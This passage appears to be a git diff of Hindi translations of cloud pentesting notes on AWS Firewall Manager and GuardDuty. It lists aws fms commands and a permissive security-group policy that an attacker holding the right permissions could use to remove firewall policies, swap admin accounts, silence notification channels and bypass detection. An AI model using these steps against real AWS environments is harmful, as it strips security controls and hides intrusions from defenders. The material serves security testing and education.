सकते हैं। 2. **शील्ड एडवांस्ड नीति:** यह नीति आपके संगठन में निर्दिष्ट संसाधन प्रकारों के लिए शील्ड एडवांस्ड सुरक्षा लागू करती है। यह DDoS हमलों और अन्य खतरों से सुरक्षा में मदद करती है। 3. **Amazon VPC सुरक्षा समूह नीति:** इस नीति के साथ, आप अपने संगठन में उपयोग किए जाने वाले सुरक्षा समूहों का प्रबंधन कर सकते हैं, आपके AWS वातावरण में नेटवर्क एक्सेस को नियंत्रित करने के लिए नियमों के एक बुनियादी सेट को लागू करते हैं। 4. **Amazon VPC नेटवर्क एक्सेस कंट्रोल सूची (ACL) नीति:** यह नीति प्रकार आपको अपने संगठन में उपयोग किए जाने वाले नेटवर्क ACLs पर नियंत्रण देता है, जिससे आप अपने AWS वातावरण में नेटवर्क ACLs के एक बुनियादी सेट को लागू कर सकते हैं। -5. **नेटवर्क फ़ायरवॉल नीति:** यह नीति आपके संगठन के VPCs पर AWS नेटवर्क फ़ायरवॉल सुरक्षा लागू करती है, पूर्वनिर्धारित नियमों के आधार पर ट्रैफ़िक को फ़िल्टर करके नेटवर्क सुरक्षा में सुधार करती है। -6. **Amazon Route 53 Resolver DNS फ़ायरवॉल नीति:** यह नीति आपके संगठन के VPCs पर DNS फ़ायरवॉल सुरक्षा लागू करती है, दुर्भावनापूर्ण डोमेन समाधान प्रयासों को अवरुद्ध करने और DNS ट्रैफ़िक के लिए सुरक्षा नीतियों को लागू करने में मदद करती है। -7. **तीसरे पक्ष की फ़ायरवॉल नीति:** यह नीति प्रकार तीसरे पक्ष के फ़ायरवॉल से सुरक्षा लागू करती है, जो AWS मार्केटप्लेस कंसोल के माध्यम से सदस्यता द्वारा उपलब्ध है। यह आपको अपने AWS वातावरण में विश्वसनीय विक्रेताओं से अतिरिक्त सुरक्षा उपायों को एकीकृत करने की अनुमति देती है। -1. **Palo Alto Networks Cloud NGFW नीति:** यह नीति आपके संगठन के VPCs पर Palo Alto Networks Cloud Next Generation Firewall (NGFW) सुरक्षा और नियम स्टैक्स लागू करती है, उन्नत खतरे की रोकथाम और एप्लिकेशन-स्तरीय सुरक्षा नियंत्रण प्रदान करती है। +5. **नेटवर्क फ़ायरवॉल नीति:** यह नीति आपके संगठन के VPCs पर AWS नेटवर्क फ़ायरवॉल सुरक्षा लागू करती है, पूर्वनिर्धारित नियमों के आधार पर ट्रैफ़िक को फ़िल्टर करके नेटवर्क सुरक्षा को बढ़ाती है। +6. **Amazon Route 53 रिसॉल्वर DNS फ़ायरवॉल नीति:** यह नीति आपके संगठन के VPCs पर DNS फ़ायरवॉल सुरक्षा लागू करती है, जिससे दुर्भावनापूर्ण डोमेन समाधान प्रयासों को अवरुद्ध करने और DNS ट्रैफ़िक के लिए सुरक्षा नीतियों को लागू करने में मदद मिलती है। +7. **तीसरे पक्ष की फ़ायरवॉल नीति:** यह नीति प्रकार तीसरे पक्ष के फ़ायरवॉल से सुरक्षा लागू करता है, जो AWS मार्केटप्लेस कंसोल के माध्यम से सदस्यता द्वारा उपलब्ध है। यह आपको अपने AWS वातावरण में विश्वसनीय विक्रेताओं से अतिरिक्त सुरक्षा उपायों को एकीकृत करने की अनुमति देता है। +1. **Palo Alto Networks Cloud NGFW नीति:** यह नीति आपके संगठन के VPCs पर Palo Alto Networks Cloud Next Generation Firewall (NGFW) सुरक्षा और नियम स्टैक्स लागू करती है, जो उन्नत खतरे की रोकथाम और एप्लिकेशन-स्तरीय सुरक्षा नियंत्रण प्रदान करती है। 2. **Fortigate Cloud Native Firewall (CNF) as a Service नीति:** यह नीति Fortigate Cloud Native Firewall (CNF) as a Service सुरक्षा लागू करती है, जो उद्योग में अग्रणी खतरे की रोकथाम, वेब एप्लिकेशन फ़ायरवॉल (WAF), और क्लाउड बुनियादी ढांचे के लिए अनुकूलित API सुरक्षा प्रदान करती है। -### Administrator accounts +### प्रशासक खाते -AWS फ़ायरवॉल प्रबंधक आपके संगठन के भीतर फ़ायरवॉल संसाधनों के प्रबंधन में लचीलापन प्रदान करता है इसके प्रशासनिक दायरे और दो प्रकार के व्यवस्थापक खातों के माध्यम से। +AWS फ़ायरवॉल प्रबंधक अपने प्रशासनिक दायरे और दो प्रकार के प्रशासक खातों के माध्यम से आपके संगठन के भीतर फ़ायरवॉल संसाधनों के प्रबंधन में लचीलापन प्रदान करता है। -**प्रशासनिक दायरा उन संसाधनों को परिभाषित करता है जिन्हें फ़ायरवॉल प्रबंधक व्यवस्थापक प्रबंधित कर सकता है**। एक AWS संगठनों के प्रबंधन खाते द्वारा फ़ायरवॉल प्रबंधक में एक संगठन को ऑनबोर्ड करने के बाद, यह विभिन्न प्रशासनिक दायरों के साथ अतिरिक्त व्यवस्थापकों को बना सकता है। ये दायरे शामिल हो सकते हैं: +**प्रशासनिक दायरा उस संसाधनों को परिभाषित करता है जिन्हें फ़ायरवॉल प्रबंधक प्रशासक प्रबंधित कर सकता है**। एक AWS संगठनों प्रबंधन खाता जब एक संगठन को फ़ायरवॉल प्रबंधक में ऑनबोर्ड करता है, तो यह विभिन्न प्रशासनिक दायरों के साथ अतिरिक्त प्रशासकों को बनाने में सक्षम होता है। ये दायरे शामिल कर सकते हैं: -- खाते या संगठनात्मक इकाइयाँ (OUs) जिन पर व्यवस्थापक नीतियाँ लागू कर सकता है। -- क्षेत्र जहाँ व्यवस्थापक क्रियाएँ कर सकता है। -- फ़ायरवॉल प्रबंधक नीति प्रकार जिन्हें व्यवस्थापक प्रबंधित कर सकता है। +- खाते या संगठनात्मक इकाइयाँ (OUs) जिन पर प्रशासक नीतियाँ लागू कर सकता है। +- क्षेत्र जहाँ प्रशासक क्रियाएँ कर सकता है। +- फ़ायरवॉल प्रबंधक नीति प्रकार जिन्हें प्रशासक प्रबंधित कर सकता है। -प्रशासनिक दायरा **पूर्ण या प्रतिबंधित** हो सकता है। पूर्ण दायरा व्यवस्थापक को **सभी निर्दिष्ट संसाधन प्रकारों, क्षेत्रों और नीति प्रकारों** तक पहुँच प्रदान करता है। इसके विपरीत, **प्रतिबंधित दायरा केवल संसाधनों, क्षेत्रों या नीति प्रकारों के एक उपसमुच्चय पर प्रशासनिक अनुमति प्रदान करता है**। यह सलाह दी जाती है कि व्यवस्थापकों को केवल वही अनुमतियाँ दी जाएँ जिनकी उन्हें अपनी भूमिकाएँ प्रभावी रूप से निभाने के लिए आवश्यकता होती है। आप किसी व्यवस्थापक पर इन प्रशासनिक दायरा शर्तों का कोई संयोजन लागू कर सकते हैं, यह सुनिश्चित करते हुए कि न्यूनतम विशेषाधिकार के सिद्धांत का पालन हो। +प्रशासनिक दायरा **पूर्ण या प्रतिबंधित** हो सकता है। पूर्ण दायरा प्रशासक को **सभी निर्दिष्ट संसाधन प्रकारों, क्षेत्रों और नीति प्रकारों** तक पहुँच प्रदान करता है। इसके विपरीत, **प्रतिबंधित दायरा केवल संसाधनों, क्षेत्रों, या नीति प्रकारों के एक उपसमुच्चय पर प्रशासनिक अनुमति प्रदान करता है**। यह सलाह दी जाती है कि प्रशासकों को केवल वही अनुमतियाँ दी जाएँ जिनकी उन्हें अपनी भूमिकाएँ प्रभावी ढंग से निभाने के लिए आवश्यकता होती है। आप किसी प्रशासक पर इन प्रशासनिक दायरा शर्तों का कोई भी संयोजन लागू कर सकते हैं, जिससे न्यूनतम विशेषाधिकार के सिद्धांत का पालन सुनिश्चित होता है। -दो विशिष्ट प्रकार के व्यवस्थापक खाते हैं, प्रत्येक विशेष भूमिकाओं और जिम्मेदारियों की सेवा करता है: +प्रशासक खातों के दो विशिष्ट प्रकार हैं, प्रत्येक विशेष भूमिकाओं और जिम्मेदारियों की सेवा करता है: -- **डिफ़ॉल्ट व्यवस्थापक:** -- डिफ़ॉल्ट व्यवस्थापक खाता AWS संगठनों के संगठन के प्रबंधन खाते द्वारा फ़ायरवॉल प्रबंधक में ऑनबोर्डिंग प्रक्रिया के दौरान बनाया जाता है। +- **डिफ़ॉल्ट प्रशासक:** +- डिफ़ॉल्ट प्रशासक खाता AWS संगठनों संगठन के प्रबंधन खाते द्वारा फ़ायरवॉल प्रबंधक में ऑनबोर्डिंग प्रक्रिया के दौरान बनाया जाता है। - इस खाते में तीसरे पक्ष के फ़ायरवॉल का प्रबंधन करने की क्षमता होती है और इसमें पूर्ण प्रशासनिक दायरा होता है। -- यह फ़ायरवॉल प्रबंधक के लिए प्राथमिक व्यवस्थापक खाता है, जो संगठन के भीतर सुरक्षा नीतियों को कॉन्फ़िगर और लागू करने के लिए जिम्मेदार है। -- जबकि डिफ़ॉल्ट व्यवस्थापक को सभी संसाधन प्रकारों और प्रशासनिक कार्यक्षमताओं तक पूर्ण पहुँच होती है, यह संगठन के भीतर कई व्यवस्थापकों का उपयोग करने पर अन्य व्यवस्थापकों के समान समकक्ष स्तर पर कार्य करता है। -- **फ़ायरवॉल प्रबंधक व्यवस्थापक:** -- ये व्यवस्थापक AWS संगठनों के प्रबंधन खाते द्वारा निर्धारित प्रशासनिक दायरे के भीतर संसाधनों का प्रबंधन कर सकते हैं, जैसा कि प्रशासनिक दायरा कॉन्फ़िगरेशन द्वारा परिभाषित किया गया है। -- फ़ायरवॉल प्रबंधक व्यवस्थापक संगठन के भीतर विशिष्ट भूमिकाओं को पूरा करने के लिए बनाए जाते हैं, जिम्मेदारियों का प्रतिनिधित्व करते हुए सुरक्षा और अनुपालन मानकों को बनाए रखते हैं। -- निर्माण के समय, फ़ायरवॉल प्रबंधक यह निर्धारित करने के लिए AWS संगठनों के साथ जांच करता है कि क्या खाता पहले से ही एक प्रतिनिधि व्यवस्थापक है। यदि नहीं, तो फ़ायरवॉल प्रबंधक संगठनों को फ़ायरवॉल प्रबंधक के लिए खाते को प्रतिनिधि व्यवस्थापक के रूप में नामित करने के लिए कॉल करता है। +- यह संगठन के भीतर फ़ायरवॉल प्रबंधक के लिए प्राथमिक प्रशासक खाता के रूप में कार्य करता है, जो संगठन के भीतर सुरक्षा नीतियों को कॉन्फ़िगर और लागू करने के लिए जिम्मेदार होता है। +- जबकि डिफ़ॉल्ट प्रशासक सभी संसाधन प्रकारों और प्रशासनिक कार्यक्षमताओं तक पूर्ण पहुँच रखता है, यह संगठन के भीतर कई प्रशासकों का उपयोग करने पर अन्य प्रशासकों के समान समकक्ष स्तर पर कार्य करता है। +- **फ़ायरवॉल प्रबंधक प्रशासक:** +- ये प्रशासक AWS संगठनों प्रबंधन खाते द्वारा निर्दिष्ट दायरे के भीतर संसाधनों का प्रबंधन कर सकते हैं, जैसा कि प्रशासनिक दायरा कॉन्फ़िगरेशन द्वारा परिभाषित किया गया है। +- फ़ायरवॉल प्रबंधक प्रशासक संगठन के भीतर विशिष्ट भूमिकाओं को पूरा करने के लिए बनाए जाते हैं, जिससे जिम्मेदारियों का प्रतिनिधित्व करते हुए सुरक्षा और अनुपालन मानकों को बनाए रखा जा सके। +- निर्माण के समय, फ़ायरवॉल प्रबंधक यह निर्धारित करने के लिए AWS संगठनों के साथ जांच करता है कि क्या खाता पहले से ही एक प्रतिनिधि प्रशासक है। यदि नहीं, तो फ़ायरवॉल प्रबंधक संगठनों को फ़ायरवॉल प्रबंधक के लिए खाते को प्रतिनिधि प्रशासक के रूप में नामित करने के लिए कॉल करता है। -इन व्यवस्थापक खातों का प्रबंधन फ़ायरवॉल प्रबंधक के भीतर उन्हें बनाने और संगठन की सुरक्षा आवश्यकताओं और न्यूनतम विशेषाधिकार के सिद्धांत के अनुसार उनके प्रशासनिक दायरों को परिभाषित करने में शामिल है। उचित प्रशासनिक भूमिकाएँ सौंपकर, संगठन प्रभावी सुरक्षा प्रबंधन सुनिश्चित कर सकते हैं जबकि संवेदनशील संसाधनों तक पहुँच पर सूक्ष्म नियंत्रण बनाए रखते हैं। +इन प्रशासक खातों का प्रबंधन फ़ायरवॉल प्रबंधक के भीतर उन्हें बनाने और संगठन की सुरक्षा आवश्यकताओं और न्यूनतम विशेषाधिकार के सिद्धांत के अनुसार उनके प्रशासनिक दायरों को परिभाषित करने में शामिल है। उचित प्रशासनिक भूमिकाएँ सौंपकर, संगठन प्रभावी सुरक्षा प्रबंधन सुनिश्चित कर सकते हैं जबकि संवेदनशील संसाधनों तक पहुँच पर बारीकी से नियंत्रण बनाए रख सकते हैं। -यह महत्वपूर्ण है कि **संगठन के भीतर केवल एक खाता फ़ायरवॉल प्रबंधक डिफ़ॉल्ट व्यवस्थापक के रूप में कार्य कर सकता है**, "**पहले आओ, पहले जाओ**" के सिद्धांत का पालन करते हुए। एक नए डिफ़ॉल्ट व्यवस्थापक को नामित करने के लिए, एक श्रृंखला के कदमों का पालन करना आवश्यक है: +यह महत्वपूर्ण है कि **संगठन के भीतर केवल एक खाता फ़ायरवॉल प्रबंधक डिफ़ॉल्ट प्रशासक के रूप में कार्य कर सकता है**, "**पहले आओ, पहले जाओ**" के सिद्धांत का पालन करते हुए। एक नए डिफ़ॉल्ट प्रशासक को नामित करने के लिए, एक श्रृंखला के कदमों का पालन करना आवश्यक है: -- पहले, प्रत्येक फ़ायरवॉल व्यवस्थापक व्यवस्थापक खाता को अपने स्वयं के खाते को रद्द करना होगा। -- फिर, मौजूदा डिफ़ॉल्ट व्यवस्थापक अपने स्वयं के खाते को रद्द कर सकता है, प्रभावी रूप से संगठन को फ़ायरवॉल प्रबंधक से हटा सकता है। इस प्रक्रिया के परिणामस्वरूप रद्द किए गए खाते द्वारा बनाए गए सभी फ़ायरवॉल प्रबंधक नीतियों का विलोपन होता है। -- अंत में, AWS संगठनों के प्रबंधन खाते को फ़ायरवॉल प्रबंधक डिफ़ॉल्ट व्यवस्थापक को नामित करना होगा। +- पहले, प्रत्येक फ़ायरवॉल प्रशासक प्रशासक खाता को अपने स्वयं के खाते को रद्द करना होगा। +- फिर, मौजूदा डिफ़ॉल्ट प्रशासक अपने स्वयं के खाते को रद्द कर सकता है, प्रभावी रूप से संगठन को फ़ायरवॉल प्रबंधक से हटा सकता है। इस प्रक्रिया के परिणामस्वरूप रद्द किए गए खाते द्वारा बनाए गए सभी फ़ायरवॉल प्रबंधक नीतियों का विलोपन होता है। +- अंत में, AWS संगठनों प्रबंधन खाते को फ़ायरवॉल प्रबंधक डिफ़ॉल्ट प्रशासक को नामित करना होगा। ## Enumeration ``` @@ -161,13 +161,13 @@ aws fms get-third-party-firewall-association-status --third-party-firewall --member-account --resource-id --resource-type ``` -## Post Exploitation / Bypass Detection +## पोस्ट एक्सप्लोइटेशन / बायपास डिटेक्शन ### `organizations:DescribeOrganization` & (`fms:AssociateAdminAccount`, `fms:DisassociateAdminAccount`, `fms:PutAdminAccount`) एक हमलावर जिसके पास **`fms:AssociateAdminAccount`** अनुमति है, वह फ़ायरवॉल प्रबंधक डिफ़ॉल्ट प्रशासक खाता सेट करने में सक्षम होगा। **`fms:PutAdminAccount`** अनुमति के साथ, एक हमलावर फ़ायरवॉल प्रबंधक प्रशासक खाता बनाने या अपडेट करने में सक्षम होगा और **`fms:DisassociateAdminAccount`** अनुमति के साथ, एक संभावित हमलावर वर्तमान फ़ायरवॉल प्रबंधक प्रशासक खाता संघ को हटा सकता है। -- **फ़ायरवॉल प्रबंधक डिफ़ॉल्ट प्रशासक का असंगठन पहले-आखिरी-से-निकालने की नीति का पालन करता है**। सभी फ़ायरवॉल प्रबंधक प्रशासकों को असंगठित होना चाहिए इससे पहले कि फ़ायरवॉल प्रबंधक डिफ़ॉल्ट प्रशासक खाता असंगठित कर सके। +- **फ़ायरवॉल प्रबंधक डिफ़ॉल्ट प्रशासक का असंगठन पहले-आने-आधारित नीति का पालन करता है**। सभी फ़ायरवॉल प्रबंधक प्रशासकों को असंगठित होना चाहिए इससे पहले कि फ़ायरवॉल प्रबंधक डिफ़ॉल्ट प्रशासक खाता असंगठित कर सके। - **PutAdminAccount** द्वारा फ़ायरवॉल प्रबंधक प्रशासक बनाने के लिए, खाता उस संगठन का होना चाहिए जो पहले फ़ायरवॉल प्रबंधक में **AssociateAdminAccount** का उपयोग करके ऑनबोर्ड किया गया था। - फ़ायरवॉल प्रबंधक प्रशासक खाता केवल संगठन के प्रबंधन खाते द्वारा बनाया जा सकता है। ```bash @@ -184,7 +184,7 @@ aws fms put-admin-account --admin-account aws fms put-policy --policy | --cli-input-json file:// [--tag-list ] aws fms delete-policy --policy-id [--delete-all-policy-resources | --no-delete-all-policy-resources] ``` -एक उदहारण permissive नीति का, permissive सुरक्षा समूह के माध्यम से, पहचान को बायपास करने के लिए, निम्नलिखित हो सकता है: +एक उदहारण जो अनुमति देने वाली नीति के माध्यम से अनुमति देने वाले सुरक्षा समूह के द्वारा पहचान को बायपास करने के लिए हो सकता है, वह निम्नलिखित हो सकता है: ```json { "Policy": { @@ -208,11 +208,11 @@ aws fms delete-policy --policy-id [--delete-all-policy-resources | --no- "TagList": [] } ``` -**संभावित प्रभाव:** सुरक्षा नियंत्रणों का विघटन, नीति से बचाव, अनुपालन उल्लंघन, संचालन में व्यवधान, और वातावरण के भीतर संभावित डेटा उल्लंघन। +**संभावित प्रभाव:** सुरक्षा नियंत्रणों का विघटन, नीति से बचाव, अनुपालन उल्लंघन, संचालन में बाधाएँ, और वातावरण के भीतर संभावित डेटा उल्लंघन। ### `fms:BatchAssociateResource`, `fms:BatchDisassociateResource`, `fms:PutResourceSet`, `fms:DeleteResourceSet` -एक हमलावर जिसके पास **`fms:BatchAssociateResource`** और **`fms:BatchDisassociateResource`** अनुमतियाँ हैं, वह क्रमशः एक फ़ायरवॉल प्रबंधक संसाधन सेट से संसाधनों को जोड़ने या हटाने में सक्षम होगा। इसके अतिरिक्त, **`fms:PutResourceSet`** और **`fms:DeleteResourceSet`** अनुमतियाँ एक हमलावर को AWS फ़ायरवॉल प्रबंधक से इन संसाधन सेटों को बनाने, संशोधित करने या हटाने की अनुमति देंगी। +एक हमलावर जिसके पास **`fms:BatchAssociateResource`** और **`fms:BatchDisassociateResource`** अनुमतियाँ हैं, वह क्रमशः एक फ़ायरवॉल प्रबंधक संसाधन सेट से संसाधनों को जोड़ने या अलग करने में सक्षम होगा। इसके अतिरिक्त, **`fms:PutResourceSet`** और **`fms:DeleteResourceSet`** अनुमतियाँ एक हमलावर को AWS Firewall Manager से इन संसाधन सेटों को बनाने, संशोधित करने या हटाने की अनुमति देंगी। ```bash # Associate/Disassociate resources from a resource set aws fms batch-associate-resource --resource-set-identifier --items @@ -222,11 +222,11 @@ aws fms batch-disassociate-resource --resource-set-identifier --items [--tag-list ] aws fms delete-resource-set --identifier ``` -**संभावित प्रभाव:** एक संसाधन सेट में अनावश्यक मात्रा में आइटम जोड़ने से सेवा में शोर का स्तर बढ़ जाएगा, जिससे DoS हो सकता है। इसके अलावा, संसाधन सेट में परिवर्तन संसाधन विघटन, नीति से बचाव, अनुपालन उल्लंघनों, और वातावरण में सुरक्षा नियंत्रणों के विघटन का कारण बन सकते हैं। +**संभावित प्रभाव:** एक संसाधन सेट में अनावश्यक मात्रा में आइटम जोड़ने से सेवा में शोर का स्तर बढ़ जाएगा, जिससे DoS हो सकता है। इसके अलावा, संसाधन सेट में परिवर्तन संसाधन विघटन, नीति से बचाव, अनुपालन उल्लंघनों और वातावरण के भीतर सुरक्षा नियंत्रणों के विघटन का कारण बन सकते हैं। ### `fms:PutAppsList`, `fms:DeleteAppsList` -एक हमलावर जिसके पास **`fms:PutAppsList`** और **`fms:DeleteAppsList`** अनुमतियाँ हैं, AWS Firewall Manager से एप्लिकेशन सूचियाँ बनाने, संशोधित करने या हटाने में सक्षम होगा। यह महत्वपूर्ण हो सकता है, क्योंकि अनधिकृत एप्लिकेशन को आम जनता तक पहुँचने की अनुमति दी जा सकती है, या अधिकृत एप्लिकेशनों तक पहुँच को अस्वीकृत किया जा सकता है, जिससे DoS हो सकता है। +एक हमलावर जिसके पास **`fms:PutAppsList`** और **`fms:DeleteAppsList`** अनुमतियाँ हैं, AWS Firewall Manager से एप्लिकेशन सूचियाँ बनाने, संशोधित करने या हटाने में सक्षम होगा। यह महत्वपूर्ण हो सकता है, क्योंकि अनधिकृत एप्लिकेशनों को आम जनता तक पहुँचने की अनुमति दी जा सकती है, या अधिकृत एप्लिकेशनों तक पहुँच को अस्वीकृत किया जा सकता है, जिससे DoS हो सकता है। ```bash aws fms put-apps-list --apps-list [--tag-list ] aws fms delete-apps-list --list-id @@ -244,9 +244,9 @@ aws fms delete-protocols-list --list-id ### `fms:PutNotificationChannel`, `fms:DeleteNotificationChannel` -एक हमलावर जिसके पास **`fms:PutNotificationChannel`** और **`fms:DeleteNotificationChannel`** अनुमतियाँ हैं, वह IAM भूमिका और Amazon Simple Notification Service (SNS) विषय को हटा और निर्दिष्ट कर सकेगा जिसका उपयोग Firewall Manager SNS लॉग रिकॉर्ड करने के लिए करता है। +एक हमलावर जिसके पास **`fms:PutNotificationChannel`** और **`fms:DeleteNotificationChannel`** अनुमतियाँ हैं, वह IAM भूमिका और Amazon Simple Notification Service (SNS) विषय को हटा और निर्दिष्ट कर सकता है जिसका उपयोग Firewall Manager SNS लॉग रिकॉर्ड करने के लिए करता है। -**`fms:PutNotificationChannel`** का उपयोग कंसोल के बाहर करने के लिए, आपको SNS विषय की पहुँच नीति सेटअप करनी होगी, जिससे निर्दिष्ट **SnsRoleName** को SNS लॉग प्रकाशित करने की अनुमति मिलेगी। यदि प्रदान किया गया **SnsRoleName** **`AWSServiceRoleForFMS`** के अलावा कोई अन्य भूमिका है, तो इसे Firewall Manager सेवा प्रमुख **fms.amazonaws.com** को इस भूमिका को ग्रहण करने की अनुमति देने के लिए एक विश्वास संबंध की आवश्यकता होती है। +**`fms:PutNotificationChannel`** का उपयोग कंसोल के बाहर करने के लिए, आपको SNS विषय की पहुँच नीति सेटअप करनी होगी, जिससे निर्दिष्ट **SnsRoleName** को SNS लॉग प्रकाशित करने की अनुमति मिलेगी। यदि प्रदान किया गया **SnsRoleName** **`AWSServiceRoleForFMS`** के अलावा कोई अन्य भूमिका है, तो इसे Firewall Manager सेवा प्रिंसिपल **fms.amazonaws.com** को इस भूमिका को ग्रहण करने की अनुमति देने के लिए एक विश्वास संबंध की आवश्यकता होती है। SNS पहुँच नीति कॉन्फ़िगर करने के बारे में जानकारी के लिए: @@ -257,23 +257,23 @@ SNS पहुँच नीति कॉन्फ़िगर करने के aws fms put-notification-channel --sns-topic-arn --sns-role-name aws fms delete-notification-channel ``` -**संभावित प्रभाव:** इससे सुरक्षा अलर्ट को मिस करने, घटना प्रतिक्रिया में देरी, संभावित डेटा उल्लंघन और वातावरण में परिचालन व्यवधान हो सकते हैं। +**संभावित प्रभाव:** इससे सुरक्षा अलर्ट्स छूटने, घटना प्रतिक्रिया में देरी, संभावित डेटा उल्लंघन और वातावरण में परिचालन व्यवधान हो सकते हैं। ### `fms:AssociateThirdPartyFirewall`, `fms:DisssociateThirdPartyFirewall` -एक हमलावर जिसके पास **`fms:AssociateThirdPartyFirewall`**, **`fms:DisssociateThirdPartyFirewall`** अनुमतियाँ हैं, वह AWS Firewall Manager के माध्यम से केंद्रीय रूप से प्रबंधित होने वाले तीसरे पक्ष के फ़ायरवॉल को जोड़ने या अलग करने में सक्षम होगा। +एक हमलावर जिसके पास **`fms:AssociateThirdPartyFirewall`**, **`fms:DisssociateThirdPartyFirewall`** अनुमतियाँ हैं, वह AWS Firewall Manager के माध्यम से तीसरे पक्ष के फ़ायरवॉल को केंद्रीय रूप से प्रबंधित करने के लिए जोड़ या हटा सकता है। > [!WARNING] -> केवल डिफ़ॉल्ट प्रशासक तीसरे पक्ष के फ़ायरवॉल को बना और प्रबंधित कर सकता है। +> केवल डिफ़ॉल्ट प्रशासक तीसरे पक्ष के फ़ायरवॉल बना और प्रबंधित कर सकते हैं। ```bash aws fms associate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL] aws fms disassociate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL] ``` -**संभावित प्रभाव:** असंबंधन नीति से बचने, अनुपालन उल्लंघनों, और वातावरण के भीतर सुरक्षा नियंत्रणों में विघटन का कारण बनेगा। दूसरी ओर, संबंध लागत और बजट आवंटन में विघटन का कारण बनेगा। +**संभावित प्रभाव:** असंबंधन एक नीति से बचने, अनुपालन उल्लंघनों, और वातावरण के भीतर सुरक्षा नियंत्रणों में विघटन का कारण बनेगा। दूसरी ओर, संबंध लागत और बजट आवंटन में विघटन का कारण बनेगा। ### `fms:TagResource`, `fms:UntagResource` -एक हमलावर फ़ायरवॉल प्रबंधक संसाधनों से टैग जोड़ने, संशोधित करने, या हटाने में सक्षम होगा, जिससे आपकी संगठन की लागत आवंटन, संसाधन ट्रैकिंग, और टैग के आधार पर पहुंच नियंत्रण नीतियों में विघटन होगा। +एक हमलावर फ़ायरवॉल प्रबंधक संसाधनों से टैग जोड़ने, संशोधित करने, या हटाने में सक्षम होगा, जो आपके संगठन के लागत आवंटन, संसाधन ट्रैकिंग, और टैग के आधार पर पहुंच नियंत्रण नीतियों में विघटन करेगा। ```bash aws fms tag-resource --resource-arn --tag-list aws fms untag-resource --resource-arn --tag-keys diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md index 78fed6ca8..f67bc17ad 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md @@ -6,9 +6,9 @@ According to the [**docs**](https://aws.amazon.com/guardduty/features/): GuardDuty **मशीन लर्निंग, विसंगति पहचान, नेटवर्क निगरानी, और दुर्भावनापूर्ण फ़ाइल खोज** को जोड़ता है, जो AWS और उद्योग के प्रमुख तीसरे पक्ष के स्रोतों का उपयोग करके AWS पर कार्यभार और डेटा की सुरक्षा में मदद करता है। GuardDuty कई AWS डेटा स्रोतों, जैसे AWS CloudTrail इवेंट लॉग, Amazon Virtual Private Cloud (VPC) फ्लो लॉग, Amazon Elastic Kubernetes Service (EKS) ऑडिट और सिस्टम-स्तरीय लॉग, और DNS क्वेरी लॉग के बीच अरबों घटनाओं का विश्लेषण करने में सक्षम है। -Amazon GuardDuty **आपके खातों के भीतर असामान्य गतिविधियों की पहचान करता है**, गतिविधि की **सुरक्षा प्रासंगिकता** का विश्लेषण करता है, और यह बताता है कि इसे किस **संदर्भ** में सक्रिय किया गया था। इससे एक उत्तरदाता यह निर्धारित कर सकता है कि क्या उन्हें आगे की जांच में समय बिताना चाहिए। +Amazon GuardDuty **आपके खातों के भीतर असामान्य गतिविधियों की पहचान करता है**, गतिविधि की **सुरक्षा प्रासंगिकता** का विश्लेषण करता है, और जिस **संदर्भ** में इसे सक्रिय किया गया था, उसे प्रदान करता है। यह एक उत्तरदाता को यह निर्धारित करने की अनुमति देता है कि उन्हें आगे की जांच में समय बिताना चाहिए या नहीं। -Alerts **GuardDuty कंसोल (90 दिन)** और CloudWatch Events में दिखाई देते हैं। +अलर्ट **GuardDuty कंसोल (90 दिन)** और CloudWatch इवेंट्स में दिखाई देते हैं। > [!WARNING] > जब एक उपयोगकर्ता **GuardDuty को निष्क्रिय करता है**, तो यह आपके AWS वातावरण की निगरानी करना बंद कर देगा और यह बिल्कुल भी नए निष्कर्ष उत्पन्न नहीं करेगा, और **मौजूदा निष्कर्ष खो जाएंगे**।\ @@ -16,10 +16,10 @@ Alerts **GuardDuty कंसोल (90 दिन)** और CloudWatch Events म ### Findings Example -- **Reconnaissance**: गतिविधियाँ जो एक हमलावर द्वारा पहचान का सुझाव देती हैं, जैसे **असामान्य API गतिविधि**, संदिग्ध डेटाबेस **लॉगिन** प्रयास, intra-VPC **पोर्ट स्कैनिंग**, असामान्य असफल लॉगिन अनुरोध पैटर्न, या ज्ञात बुरे IP से अनब्लॉक पोर्ट प्रॉबिंग। -- **Instance compromise**: गतिविधियाँ जो एक इंस्टेंस समझौते का संकेत देती हैं, जैसे **क्रिप्टोक्यूरेंसी माइनिंग, बैकडोर कमांड और नियंत्रण (C\&C)** गतिविधि, डोमेन जनरेशन एल्गोरिदम (DGA) का उपयोग करने वाला मैलवेयर, आउटबाउंड डिनायल ऑफ सर्विस गतिविधि, असामान्य **उच्च नेटवर्क** ट्रैफ़िक मात्रा, असामान्य नेटवर्क प्रोटोकॉल, ज्ञात दुर्भावनापूर्ण IP के साथ आउटबाउंड इंस्टेंस संचार, बाहरी IP पते द्वारा उपयोग किए गए अस्थायी Amazon EC2 क्रेडेंशियल, और DNS का उपयोग करके डेटा निकासी। +- **Reconnaissance**: गतिविधि जो एक हमलावर द्वारा पुनः खोज का सुझाव देती है, जैसे **असामान्य API गतिविधि**, संदिग्ध डेटाबेस **लॉगिन** प्रयास, intra-VPC **पोर्ट स्कैनिंग**, असामान्य विफल लॉगिन अनुरोध पैटर्न, या एक ज्ञात बुरे IP से अनब्लॉक पोर्ट प्रॉबिंग। +- **Instance compromise**: गतिविधि जो एक इंस्टेंस समझौते का संकेत देती है, जैसे **क्रिप्टोक्यूरेंसी माइनिंग, बैकडोर कमांड और कंट्रोल (C\&C)** गतिविधि, डोमेन जनरेशन एल्गोरिदम (DGA) का उपयोग करने वाला मैलवेयर, आउटबाउंड डिनायल ऑफ सर्विस गतिविधि, असामान्य **उच्च नेटवर्क** ट्रैफ़िक मात्रा, असामान्य नेटवर्क प्रोटोकॉल, ज्ञात दुर्भावनापूर्ण IP के साथ आउटबाउंड इंस्टेंस संचार, एक बाहरी IP पते द्वारा उपयोग किए गए अस्थायी Amazon EC2 क्रेडेंशियल, और DNS का उपयोग करके डेटा 